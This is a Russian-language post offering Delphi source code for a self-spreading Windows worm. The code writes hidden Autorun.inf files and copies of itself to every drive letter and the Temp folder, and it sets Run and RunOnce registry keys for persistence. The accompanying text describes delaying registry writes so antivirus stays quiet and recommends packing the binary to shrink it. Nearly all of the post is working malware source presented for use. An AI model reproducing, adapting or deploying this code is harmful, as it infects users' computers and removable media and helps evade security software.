Простой Win32Worm или Trojan.Generic.
Данный исходник показывает только копирование себя на съемные носители, локальные диски и прописывание себя в реестре. Данный код использует всего два модуля и поэтому после компиляции проекта, вес получается совсем небольшой 18кб. Также после этого, его можно ещё сжать любым PE Архиватором и вес его станет примерно 10-11 кб. Принцип работы:
При запуске он копирует себя на все диски и во временную папку темп, но не лезет в реестр что бы антивирус молчал, после чего зайдя на любой локальный или съёмный диск,он будет прописываться в реестр и копировать себя туда где его нет, после чего открывать диск(раздел) в который вы хотели войти.
Code
program worm;
uses
Windows, ShellAPI;
//говорим что, что на выходе хотим получить не *.exe а *.cmd
{$E .cmd}
procedure CreateAutorun(Register: Boolean);
var
Temp: HKEY;
FFO: TextFile;
D,i,j: Integer;
S: PAnsiChar;
FileName: string;
DataType, DataSize: DWORD;
Buf: array[0..255] of Char;
//масив содержанием файла autorun.inf
const
L1: array[0..5] of string = ('[AutoRun]','UseAutoPlay=1','shell\auto=&Автозапуск',
'shell\open=&Открыть','shell\explore=&Проводник','shell\find=&Найти');
L2: array[0..5] of string = ('open=','ShellExecute=','shell\auto\command=',
'shell\open\Command=','shell\explore\Command=','shell\find\Command=');
begin
{$I-}//этой директивой мы говорим игнорировать все ошибки
FileName:= 'Autorun.inf'; //назначаем имя
for D:= ord('C') to ord('Z') do //запускаем цикл для копирования копирования на насители
begin
AssignFile(FFO, Chr(D) + ':\' + FileName);
Rewrite(FFO);
for i:= 0 to 5 do //в этом цикле мы данные из масива вписываем в autorun.inf
begin
Write(FFO,L1[i] + #13#10);
Write(FFO,L2[i]+ Chr(D) +'.cmd o' + #13#10);
end;
CloseFile(FFO);
if CopyFile(PChar(ParamStr(0)), PChar(Chr(D) + ':\' + Chr(D) + '.cmd'), False) then //копирование
begin
SetFileAttributes(PChar(Chr(D) + ':\' + FileName), 1 + 2 + 4); //назначаем аттрибут для autorun.inf
SetFileAttributes(PChar(Chr(D) + ':\' + Chr(D) + '.cmd'), 1 + 2 + 4); //назначаем аттрибут для себя
end;
if GetTempPath(j, buf) <> 0 then //получаем путь к временной папке Temp
begin
S:= Buf;
if CopyFile(PChar(ParamStr(0)), PChar(S + Chr(D) + '.bat'), False) then //копируем себя в темп
begin
RegOpenKey(HKEY_LOCAL_MACHINE,'Software\Microsoft\Windows\CurrentVersion\RunOnce\', Temp); //записываем, в реестр
RegSetValueEx(Temp, PChar('Shell'), 0, REG_SZ, PChar('Explorer.exe ' + S + Chr(D) + '.bat'),
Length('explorer.exe ' + S +Chr(D) + '.bat i') + 1);
RegCloseKey(Temp);
end;
end;
if Register then //записываем, в реестр уже скопированые файлы(при заходе на любой из дисков выполяеться этот код)
begin
RegOpenKey(HKEY_LOCAL_MACHINE,'Software\Microsoft\Windows\CurrentVersion\Run', Temp);
RegSetValueEx(Temp, PChar('Worm_' + Chr(D)), 0, REG_SZ, PChar(Chr(D) + ':\' + Chr(D) + '.cmd'),
Length(ParamStr(0)) + 1);
RegCloseKey(Temp);
end;
end;
end;
begin
if ParamStr(1) = 'o' then //дейсквие выполняеться, если запуск с пораметрам O
begin
CreateAutorun(True);
ShellExecuteA(0, nil, '', nil, nil, SW_SHOWNOACTIVATE);
end
else
CreateAutorun(False); //выполняется если запуск без параметра.
end.